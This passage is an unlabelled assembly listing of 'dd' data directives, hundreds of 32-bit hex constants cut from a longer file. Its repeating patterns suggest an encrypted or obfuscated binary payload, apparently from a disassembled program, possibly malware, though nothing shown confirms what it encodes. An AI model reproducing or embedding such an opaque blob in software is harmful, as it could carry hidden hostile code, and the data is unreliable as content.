dd 90EFC1CDh, 13776EFFh, 3D23C1F4h, 7D202439h, 0E3B25E58h dd 1E673DCDh, 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EE3h dd 3D23C1F4h, 7D202439h, 81AB41D5h, 1E673DCDh, 90EB4239h dd 136D1B3Fh, 90EFC1CDh, 13776E8Fh, 3D23C1F4h, 7D202439h dd 0A4446509h, 1E673DCDh, 90EB4239h, 136D1B3Fh, 90EFC1CDh dd 13776EF3h, 3D23C1F4h, 7D202439h, 0CA1FFBDFh, 1E673DCDh dd 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EF7h, 359BF9B1h dd 60662439h, 50E3D712h, 4660831Ah, 0AB861A5Ah, 14D3DDFCh dd 98601A39h, 1E5F85B7h, 9CB6BB34h, 48043B7h, 50E3D734h dd 5260831Ah, 0A438C35Ah, 14D3DDF5h, 98601A39h, 1E5F85B7h dd 9CB6BB34h, 48047B7h, 0E8DB9234h, 15608312h, 90A06447h dd 136D0A77h, 6B637975h, 0A0996E50h, 136D4F33h, 2C6BA7BFh dd 0C5991739h, 0F30F0DBBh, 90A04223h, 136D0A77h, 1C907971h dd 0A0991A48h, 136D4F33h, 2C6BA7BFh, 0C5991739h, 0F30B0DBBh dd 90A04223h, 136D0A77h, 82467971h, 0A0997413h, 136D4F33h dd 2C6BA7BFh, 0C5991739h, 0F3170DBBh, 0A8E54223h, 136D02CFh dd 0D3266432h, 1E4ECDB7h, 160E0734h, 0EAED229Ah, 1E6D1087h dd 18E30534h, 0EA604F0Bh, 6CE3ABE2h, 0D36000D4h, 1E4ECDB7h dd 0C00E0734h, 0EA837904h, 1E6D1087h, 18E30534h, 0EA604F0Bh dd 60E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0F40E0734h, 0EA8C8800h dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 68E3ABE2h, 0D36000D4h dd 1E4ECDB7h, 220E0734h, 0EAE2D39Eh, 1E6D1087h, 18E30534h dd 0EA604F0Bh, 94E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0C10E0B34h dd 0EAF117A2h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 90E3ABE2h dd 0D36000D4h, 1E4ECDB7h, 170E0B34h, 0EA9F4C3Ch, 1E6D1087h dd 18E30534h, 0EA604F0Bh, 9CE3ABE2h, 0D36000D4h, 1E4ECDB7h dd 5C0E0934h, 0EAAE154Bh, 1E6D1087h, 18E30534h, 0EA604F0Bh dd 84E3ABE2h, 0D36000D4h, 1E4ECDB7h, 9C0E0934h, 0EABAD57Fh dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 98E3ABE2h, 0D36000D4h dd 1E4ECDB7h, 220E1134h, 0EAFA391Fh, 1E6D1087h, 18E30534h dd 0EA604F0Bh, 80E3ABE2h, 0D36000D4h, 1E4ECDB7h, 3F0E0734h dd 0EAB4F7C2h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 8CE3ABE2h dd 0D36000D4h, 1E4ECDB7h, 0FF0E1634h, 0EA9B6086h, 1E6D1087h dd 18E30534h, 0EA604F0Bh, 0B4E3ABE2h, 0D3601A25h, 1E4ECDB7h dd 8C0E0334h, 0EA84BA6Bh, 1E6D1087h, 18E30534h, 0EA604F0Bh dd 88E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0D70E0334h, 0EAD7DF52h dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0B4E3ABE2h, 0D36000D4h dd 1E4ECDB7h, 10E0334h, 0EAB984CCh, 1E6D1087h, 18E30534h dd 0EA604F0Bh dd 0B0E3ABE2h, 0D36000D4h, 1E4ECDB7h, 7D0E1B34h, 0EAF872C0h dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0BCE3ABE2h, 0D36000D4h dd 1E4ECDB7h, 2A0E0B34h, 0EAA1DE49h, 1E6D1087h, 18E30534h dd 0EA604F0Bh, 0C0E3ABE2h, 0D36000D4h, 1E4ECDB7h, 590E0334h dd 0EA9C795Ch, 1E6D1087h, 18E30534h, 0EA604F0Bh, 0CCE3ABE2h dd 0D36000D4h, 1E4ECDB7h, 0D80E0334h, 0EAA52416h, 1E6D1087h dd 18E30534h, 0EA604F0Bh, 0C8E3ABE2h, 0D36000D4h, 1E4ECDB7h dd 0D90E1B34h, 0EAB29952h, 1E6D1087h, 18E30534h, 0EA604F0Bh dd 0B8E3ABE2h, 0D36000D4h, 1E4ECDB7h, 5B0E1B34h, 0EAF8CB66h dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0A4E3ABE2h, 0D36000D4h dd 1E4ECDB7h, 5D0E1B34h, 0EAB7311Ah, 1E6D1087h, 18E30534h dd 0EA604F0Bh, 0A0E3ABE2h, 7F6000D4h, 566E036h, 150E4432h dd 7F662222h, 0B8F3EE32h, 9C608327h, 1E72B5B7h, 8BE3AF34h dd 0EA6000FEh, 7D62E2E2h, 15665432h, 1546225Ah, 0EA667B32h dd 1E7325A7h, 0C4E3CD34h, 9C602925h, 1E5498B7h, 7D26E234h dd 15665432h, 1466225Ah, 0EA667B32h, 1E7325A7h, 48E3CD34h dd 9E602919h, 1E551487h, 48FB0334h, 9C604F29h, 1E75E787h dd 50FB9834h, 9E60831Dh, 1E7D19AFh, 966DA934h, 916911CBh dd 156682EDh, 26061562h, 0FCE3ABF2h, 0AB601A37h, 1566880Eh dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h dd 0D879FBBh, 0EAE31739h, 156C0D3Dh, 1B8E4432h, 0FC662223h dd 156611A3h, 7EB10363h, 80EF40E0h, 136D268Bh, 150E1558h dd 47668822h, 80994458h, 136D379Fh, 323394BBh, 0C5ED8E39h dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 1E72B58Fh, 0EAAFA134h dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah, 0EA8C943Dh dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 0FCE3EE60h, 9E608337h dd 1E63ADA7h, 0F4F31B34h, 1A601A2Ah, 156682B6h, 96381E32h dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 527C1F5h, 15662439h dd 90A11132h, 136D89BFh, 15664432h, 0F37B9FB1h, 1A661723h dd 156680B6h, 0A7FBC932h, 0EA603378h, 24E3EEE1h, 96608312h dd 1E46758Fh, 97694634h, 15661150h, 35570DF5h, 15674239h dd 98062232h, 480E487h, 75DB0534h, 3E605631h, 9EB1A9CCh dd 1E72E08Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h, 0FCA79636h dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 136D9103h dd 1571C03Dh, 0A8E52232h, 136D3627h, 1FE38732h, 0D2664432h dd 1E614FB7h, 15661034h, 26DFE932h, 0AF687D03h, 78EBE200h dd 0D0D3989Fh, 0D2608321h, 1566B874h, 0FB5B2232h, 1A88FFDCh dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h, 15604F32h dd 96664432h, 0A0EF26F4h, 136D02F7h, 156E71DBh, 26BECF32h dd 1E614FB7h, 16AED034h, 0D5A74A19h, 9CA77722h, 1E614FAFh dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h, 9069AA89h dd 1566880Bh, 156642F5h, 0D3E52232h, 0D0D39836h, 9E608321h dd 1E7D19AFh, 9E6DA934h, 0D7ED71E2h, 1EDF0D19h, 0F5A74239h dd 0C0E32130h, 83601A2Ah, 9CA78B9Fh, 747A6076h, 15665EDBh dd 26344032h, 40F303FBh, 2E604F15h, 2DE22D30h, 96661132h dd 2E278CF0h, 1E7EA5BFh, 0FDE32D34h, 9899EECDh, 4835287h dd 0A8DBC934h, 0B9602916h, 9169D1B6h, 15668834h, 0EA97AD98h dd 15DEDDCDh, 98661132h, 1E2B5FBFh, 9C87BB34h, 1E63CBBFh dd 433F4B34h, 0E3B15B9h, 1EED4239h, 108FA7B9h, 0F5B71739h dd 6570D31h, 0E3554239h, 0D4CB44A4h, 906513D2h, 136D90E7h dd 0D465E9A4h, 3CDBA16Ch, 14601A21h, 155F0C3Dh, 985D4432h dd 136D2933h, 154B953Dh, 985D8832h, 136D4727h, 1547A63Dh dd 985D1132h, 136D917Fh, 1573C03Dh, 88EB2232h, 1377EA0Ah dd 0EDED5BCDh, 2E7C1BBh, 0A18F2439h, 98661134h, 49DB0AFh dd 96B5BB34h, 1E750B8Fh, 91691134h, 1566882Fh, 316FC109h dd 91692439h, 1566113Eh, 16070D09h, 90694239h, 15662237h dd 0EA99A8DBh, 44E3B3CDh, 1A604F13h, 15663AB7h, 0CDB9232h dd 15608339h, 156DC13Dh, 90EB2232h, 1377A128h, 0EA991DDBh dd 44E37FCDh, 1A602913h, 0EA9998B6h, 0C3DB0BCDh, 146055D7h dd 1571A73Dh, 905D1132h, 13776E07h, 156DC13Dh, 90EB2232h dd 153EF792h, 0EA99E5DBh, 969977CDh, 1E66038Fh, 91691134h dd 15668B55h, 0F347C109h, 12132423h, 1AD794B9h, 2E218E39h dd 4806DB7h, 9E615734h, 1E6414B7h, 905DCF34h, 1377A217h dd 90ED2547h, 136D1243h, 38E3B375h, 606055D4h, 60E3A935h dd 52601A10h, 0F3570D09h, 12134223h, 3C9FA7B9h, 2E211739h dd 480BDB7h, 9E613134h, 1E601BB7h, 905D5634h, 13776E0Bh dd 90ED4347h, 136D00B3h, 28E32A75h, 606099D4h, 0FCE3CF35h dd 52602902h, 0F3279409h, 12138E23h, 19B3C1B9h, 2E212439h dd 48054B7h, 9E61FD34h, 1E73FDB7h, 905D6534h, 1377F77Fh dd 90ED8F47h, 136D758Fh, 5CE31975h, 606000D4h, 0E8DB0B22h dd 15604F12h, 90ED2547h, 136D3873h, 80DB0B75h, 15604F10h dd 905D2D46h, 1377F7E7h, 90ED8F47h, 136D48C7h, 84DBA175h dd 15601A34h, 0A8E5FA46h, 136D508Bh, 2E0F5632h, 480A8B7h dd 9E61FD34h, 1E47B9B7h, 905D6534h, 1377F7FBh, 90ED8F47h dd 136D773Fh, 0A8E31975h, 606000D4h, 8E30335h, 52604F35h dd 0F3ABA709h, 12131723h, 3130DB9h, 2E214239h, 480F3B7h dd 9E616434h, 1E66DDB7h, 905D0334h, 1377C4F3h, 90ED1647h dd 136D8B77h, 0D0E37F75h, 606033D4h, 0A8E39A35h, 5260831Ah dd 1DFF9B1h, 1A662439h, 15641BB6h, 44E3B332h, 606055D4h dd 84E3A935h, 52601A30h, 0F3830D09h, 12134223h, 0BCFA7B9h dd 2E211739h, 480DDB7h, 9E613134h, 1E67F7B7h, 905D5634h dd 13776E6Bh, 90ED4347h, 136D0B83h, 48E32A75h, 606099D4h dd 0E0E3CF35h, 52602921h, 0F3079409h, 5138E23h, 359BF9B1h dd 60662439h, 34E39A35h, 5260832Ah, 0F303C109h, 12132423h dd 344F94B9h, 2E218E39h, 4802DB7h, 96765734h, 1E46EC8Fh dd 12138834h, 15BBC1B9h, 2E212439h, 4807CB7h, 9E61FD34h dd 1E4609B7h, 905D6534h, 1377F743h, 90ED8F47h, 136D67CFh dd 6CE31975h, 606000D4h, 0E8DB0B22h, 15604F12h, 90ED2547h dd 136D108Fh, 60E3B375h, 606055D4h, 0E8DBA122h, 15601A12h dd 90ED8F47h, 136D4877h, 68E31975h, 606000D4h, 0ECE30335h dd 52604F2Ah, 0F3E7A709h, 12131723h, 0DFB0DB9h, 2E214239h dd 480A7B7h, 9E616434h, 1E7479B7h, 905D0334h, 1377C4BBh dd 90ED1647h, 136DA8DFh, 98E37F75h, 606033D4h, 9CE39A35h dd 52608327h, 0F3F7C109h, 12132423h, 19A394B9h, 2E218E39h dd 480D1B7h, 9E615734h, 1E6F7CB7h, 905DCF34h, 1377A2ABh dd 90ED2547h, 136D3A57h, 0B4E3B375h, 60604F25h, 80E3A935h dd 52601A1Bh, 0F3FB0D09h, 12134223h, 1863A7B9h, 2E211739h dd 48051B7h, 967F3134h, 480C38Fh, 1C131134h, 64F35B1h dd 61664239h, 20E3A935h, 52601A29h, 0F3BB0D09h, 0C134223h dd 0F3879FB1h, 60661723h, 3CDB0B3Bh, 15604F21h, 90ED2546h dd 136D32C3h, 0B4E3B375h, 606055D4h, 0BCE3A935h, 52601A2Bh dd 0F3C30D09h, 12134223h dd 3B33A7B9h, 2E211739h, 48021B7h, 9E613134h, 1E6357B7h dd 905D5634h, 13776E9Fh, 90ED4347h, 136D3B2Fh, 0A4E32A75h dd 606099D4h, 2CE3CF35h, 5260292Bh, 0F3D39409h, 12138E23h dd 17F7C1B9h, 1E212439h, 10E21ECDh, 0FC668832h, 0EA99BFD8h dd 3F33A709h, 90691739h, 15668839h, 8C4EC1BFh, 0C68F2423h dd 2E99EEC9h, 1E4801B7h, 0DE34B34h, 96662232h, 483C78Fh dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h dd 48055B7h, 19E22D34h, 2E661132h, 4809DB7h, 10E34B34h dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh dd 905D1132h, 13776E37h, 156DC13Dh, 90EB2232h, 153E73D6h dd 0EA9DE5DBh, 1CE37FCDh, 1A6033D4h, 15661AB7h, 4FE30532h dd 0FC661C51h, 0EA99D964h, 0F36B9409h, 90698E23h, 15664439h dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h dd 1563943Dh, 368F8832h, 9E99BBC9h, 54D3ABC2h, 9C601A16h dd 1E485987h, 0FC58C434h, 1540A73Dh, 6BED1132h, 9E988B33h dd 15A5C5ECh, 2E662272h, 1E42508Fh, 1DE48734h, 2E664432h dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 2B7F9B9h, 90A12439h dd 136D053Bh, 15668832h, 0C4D3CD52h, 9860291Ch, 76708AFh dd 1AB57734h, 156666B0h, 0BDFBAF32h, 0EA60014Ch, 0CBE587E1h dd 9E99BBCDh, 1E48F387h, 1CD39834h, 98608326h, 42C1EAFh dd 9EB5DD34h, 1E4250B7h, 0C4E30134h, 74604F1Ch, 0E8E4BFBFh dd 0C6991723h, 150C15BFh, 0C6994220h, 156AA13Dh, 90E51132h dd 136DA6E3h, 0EAB8AD37h, 88EBDDCDh, 137411A1h, 96695BCDh dd 1566443Ah, 0FC62E0B1h, 15661100h, 6BCE15BFh, 0C6994222h dd 156DA13Dh, 0A0ED1132h, 136DA6E3h, 1561C4DBh, 0C4EBA932h dd 9C601A1Ch, 1E485987h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h dd 88EB77CDh, 13770E80h, 0D2EDF1CDh, 2B79419h, 90EF8E39h dd 136D4B0Bh, 2B7A7B9h, 45311739h, 5E4105BFh, 0C4994223h dd 3E3BA7B9h, 42361739h, 2B70DB9h, 98364239h, 42D74BFh dd 9EB7EE34h, 3EAE03E2h, 1E4D19BFh, 4DBA134h, 15601A34h dd 154D0C3Dh, 90ED4432h, 136D020Fh, 13779419h, 0D45D8E39h dd 1571C23Dh, 90ED2232h, 136D31BBh, 13770D31h, 90EF4239h dd 136D35B3h, 156652DBh, 0D4EDD932h, 1A99497Ah, 9C262232h dd 1E462CB7h, 0B0E38934h, 0D2604F30h, 1E6033B7h, 15661134h dd 7D26E232h, 15665432h, 0EA664863h, 1E73BCA7h, 4CF37734h dd 9C604F1Dh, 1E46ABB7h, 94E39834h, 4C608325h, 2E7F1CDh dd 0A0992439h, 136D3A6Fh, 0C4D37765h, 98604F25h, 429CAB7h dd 14B6EE34h, 1E6099BFh, 94DBCF34h, 9E602925h, 1E4D4C87h dd 9EC27B34h, 1E758187h, 53A18F34h, 156611CEh, 10A64932h dd 2C577737h, 88E3213Ch, 9E601A27h, 1E7109BFh, 0B86ECD34h dd 159A64F5h, 9C661132h, 1E754D87h, 0EA9EC734h, 1546A73Dh dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h, 15661132h dd 9C624EB1h, 1E758187h, 0E380CB34h, 0D5A7EECDh, 88E38B31h dd 96604F27h, 1E4EFF8Fh, 91691034h, 156688AFh, 0BFCC7AB3h dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h, 0A5F12232h dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 136D311Bh, 2BE21E33h dd 0AD668832h, 15664532h, 0F37B9FB1h, 1A661723h, 156680B6h dd 3CFBC932h, 0EA603361h, 855991E1h, 156E0C3Dh, 0D2E54432h dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 8DB9232h dd 156099D4h, 156EC03Dh, 88EB2232h, 137743CBh, 52EE5BCDh dd 94E3CF36h, 3E602925h, 118E92F5h, 53A12599h, 156644CEh dd 0EA77CB32h, 0A0EFEECDh, 136D9BF7h, 95662C60h, 150C2232h dd 3233A4CDh, 80998E39h, 136D5D47h, 48EBA968h, 0D2601A29h dd 15668833h, 11A7C732h, 0E3BAFBBh, 58F1739h, 0FC9977C7h dd 15664296h, 48EBA952h, 9E601A29h, 0CEB013Bh, 946055D4h dd 51326C0Ah, 9E31E7Eh, 73668832h, 59623CB3h, 5E32D1Ch dd 9E661132h, 13A00BC2h, 3C73C1B9h, 138F2439h, 9E661133h dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h, 0EAA1A43Dh dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh, 6F5A1132h dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h, 1E42E187h dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h dd 0B195E6B5h, 1599CFF4h, 31C3D1BFh, 90ED2439h, 136D20F7h dd 906948B7h, 15664428h, 3D23A7F4h, 7D211739h, 0C1FC2FE0h dd 633F1CDh, 90EB2439h, 13686C2Ah, 0EA3458CDh, 1AA6C1E2h dd 15661AB7h, 60E39A32h, 9060831Ah, 0FE34BF2h, 0D3662232h dd 1E4E54B7h, 0FC0EC434h, 0EABF9E2Eh, 1E757787h, 0DE39C34h dd 0EA60864Fh, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh dd 0CE3CD32h, 456033D4h, 0A4E39C64h, 0EA6086A7h, 1AA64FE2h dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h, 0CEBA952h dd 456000D4h, 556549B9h, 9DF6CF0Eh, 9C662232h, 1E7FA4A7h dd 159E8D34h, 45ED4432h, 78F3AB3Eh, 4D601A2Dh, 3142CCB9h dd 905D8519h, 136D3D5Fh, 1576933Dh, 905D8832h, 136D5D87h dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h dd 15661516h, 10DE8832h, 98664432h, 1E2BF5BFh, 7587EE34h dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h, 9169EAC9h dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh, 4BD087CDh dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h, 1A98454Ch dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h, 0F38FC1F5h dd 15602423h, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h dd 54E39A7Ch, 9E608316h, 1E724DA7h, 96B8A934h, 4B6517F1h dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h, 96B9A3CDh dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h dd 136D0CE3h, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0F38FA7F5h dd 15641723h, 0CBED8832h, 9568F23Dh, 9669A2CBh, 1566113Ah dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h dd 54E3CFEBh, 9E602916h, 1E7218A7h, 54DB0B34h, 14604F22h dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh dd 9B8FEECDh, 0D2668832h, 480ADB7h, 15662034h, 1AB89A32h dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh, 95668832h dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 31270DB9h, 80ED4239h dd 136D363Bh, 527ACB1h, 1A678E39h, 15660CB6h, 1ABE1932h dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh, 0A5689B98h dd 1A8708B2h, 3ECC8538h dd 118DA1EDh, 0D3E5BAA1h, 0C4D30130h, 0D2604F1Ch, 1E7663B7h dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h, 0EA9F66DBh dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h, 9638D169h dd 0D28F40F6h, 0D299DDCBh, 480F8B7h, 15668D34h, 96B8CF32h dd 0B6526F1h, 312794B9h, 80ED8E39h, 136D503Bh, 98DBA17Ch dd 14601A33h, 14650C3Dh, 0CD5D4432h, 156EA03Dh, 0CF5D1132h dd 154D0E3Dh, 0A0EF4432h, 136D0CE3h, 0F38F8CB9h, 49678E23h dd 0CB8F4816h, 4A662232h, 14EB94F5h, 15678E39h, 4C3D4432h dd 11A2A16Ch, 0EA9EE6DBh, 54DB0BCDh, 14604F22h, 15DDA63Dh dd 884D1132h, 136DAC73h, 2B7C9B9h, 0DE652439h, 0FCE5DE19h dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch dd 0F38FC1F5h, 15642423h, 0CBED1132h, 95683E3Dh, 9669C4CBh dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh dd 3E661132h, 54E303EBh, 9E604F16h, 1E722BA7h, 0EA20F834h dd 90A177CDh, 1377A2DBh, 15662230h, 0A369CFB9h, 959F083Ch dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh dd 1566DDD3h, 9EBF3A32h, 1E42C9B7h, 1CF3CF34h, 96602926h dd 1E76508Fh, 91698934h, 0EA99BAFBh, 9769FA09h, 1566113Ah dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh, 84CC6182h dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h, 157EADCAh dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h, 29661132h dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh dd 15603132h, 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h dd 136D503Bh, 9069EBB7h, 15661134h, 16F3DBBh, 0EC3F4239h dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h dd 13E21E92h, 0ED668832h, 15664BDBh, 1CD3AB32h, 98601A26h dd 42CD2AFh, 0ECB5BB34h, 53ED72F1h, 0ACE39822h, 4D608339h dd 987A82B1h, 1E7EF78Fh, 5165BC34h, 98CDAC16h, 1E44258Fh dd 51658F34h, 0BE363516h, 65735BFh, 16CB4239h, 0BE4E0676h dd 9830D26Ch, 42CBBAFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 98C0D5F2h, 96A45458h, 152AA8EDh dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah dd 60D554A8h, 59D7BA86h, 0D8E8CE25h, 0DCF1439Bh, 4E4CD32h dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 8338C882h dd 462C4565h, 9F3BDF07h, 0C6D552B9h, 0B85E0003h, 0E9835492h dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 5046E3BDh dd 0F3113C52h, 0DDD3A074h, 5163B977h, 0DF79F4B9h, 1331B575h dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 7E9034F4h dd 5E98339h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 6B151C17h dd 3FD525FBh, 2EADFDF5h, 22916455h, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 0D336987Ch, 0FFA073ECh, 7C3ED226h dd 0E983C87Dh, 8BA4F305h, 0F5BD8DDBh, 8D0611E6h, 1201DC8Dh dd 6644B806h, 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h dd 0FFFFF285h, 83C08BFFh, 0B05BDBDh, 9750006h, 29D1BD83h dd 7400060Bh, 8B535019h, 411B8C0h, 85890000h, 60B1299h dd 0B3819D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h, 50177400h dd 411B853h, 85890000h, 60B1299h, 0B0229D8Dh, 0D3FF060Dh dd 0C08B585Bh, 72A4F2BBh, 7F04EB46h, 0E97AA242h, 565h dd 0F66D64AEh, 20330E19h, 5E85B4C7h, 896A69B1h, 3A39041Ch dd 63B9549Bh, 1166875Ch, 0CED6372Ch, 76836CF7h, 0F973985Bh dd 861E1175h, 0B12796C5h, 2923D5DEh, 81E96B80h, 23892DBh dd 0F6EA6D93h, 257F2E92h, 0D225D01Ah, 113F13E7h, 516CB956h dd 38051A8Bh, 46533A0Eh, 0B91D69FDh, 0A892C394h, 0E19C0B4h dd 2D074F33h, 132E7BA0h, 73D127C0h, 2C372B26h, 509AB5C3h dd 0F6C1D7C6h, 4206CE02h, 85C394B9h, 337D9757h, 0FDC5B2A1h dd 806DFF53h, 92F65A77h, 0BD809974h, 59542CC9h, 0A7FC64B0h dd 8024369Ah, 0C39495C4h, 3F13774Bh, 83BECB24h, 9556373Fh dd 0D290C394h, 95582C40h, 0EB2FC394h, 4EA33E2Ch, 6A842D6Dh dd 0A647BD48h, 833240F4h, 6Eh, 311EBD6Dh, 0BE91638Eh, 0BACF3EE8h dd 5BD35D8Fh, 0C394732Fh, 0A4AC5AA0h, 9473FE8Ch, 717C36C3h dd 415F729Bh, 15F32h, 0DEB90000h, 0A716FAD7h, 44FB6150h dd 8AEFC8ADh, 0FB4FF96Fh, 27350C12h, 0F879ECB8h, 32D48EEh dd 9B25C70Fh, 94A07713h, 1D59F8C3h, 47848761h, 70EFFD3h dd 0B9A1CCAh, 0B4A693E2h, 0E9073A49h, 0B994E10Eh, 0DADE5ABAh dd 0D8C517FBh, 3F0DF1CCh, 941DD3B7h, 0A6E54C3h, 2B2671DCh dd 2EBFF9A7h, 578CB3C9h, 0EA66DB6h, 0C3941D7Ah, 2D91F5CDh dd 0A81C2D7Ch, 7AFE0F95h, 0C0D87C8Bh, 0D13509FDh, 1DFF296Dh dd 3240F2DCh, 483CB0C2h, 0DFC39417h, 370E12FBh, 8C4019h dd 0DEAC0000h, 0E771FBDAh, 941D3B4Fh, 0D5238CC3h, 0E06886FAh dd 73BFE55Ah, 0DE462C05h, 370BFFD6h, 0A7A724D3h, 0E61F97E5h dd 9BB6C548h, 0C8C5DF37h, 2073D923h, 0F6273529h, 0FC7791A0h dd 42360913h, 0DA29839Bh, 0A5C913E7h, 0C3943321h, 4785CA6h dd 86079DB0h, 4120CB72h, 4CE632h, 0DE0E0000h, 0C517FBDAh dd 7BDF3996h, 86A0B069h, 0C9D37187h, 4E5B02F6h, 574B8F73h dd 866A8F73h, 14320D17h, 96EA1392h, 0CD38B4AFh, 0C5398DB8h dd 0D7DE352Bh, 5A2E196Fh, 0B6BE0266h, 0C3941DD7h, 0F008851Fh dd 3240F159h, 170h, 0D3DE9C00h, 56A30AFEh, 1D6D198Dh, 98E2C394h dd 61D5E831h, 0D845C92Dh, 0A590E510h, 0E7E30BD1h, 68C3941Dh dd 96103E12h, 0AEA3EE17h, 8893E9B5h, 0FCCFCA62h, 8F60BD9Eh dd 0E2564A75h, 3B46EE3Bh, 7A5EB206h, 0CEFB0CF9h, 0C098EA7Ah dd 8BA93A60h, 0B580957Ah, 0C23441AEh, 7D18C4BCh, 3498FCB8h dd 0BCDE3045h, 0CE45102Ch, 89A40A4h, 608BE0E4h, 0AA13673Ah dd 0A79B6F56h, 0CCD88189h, 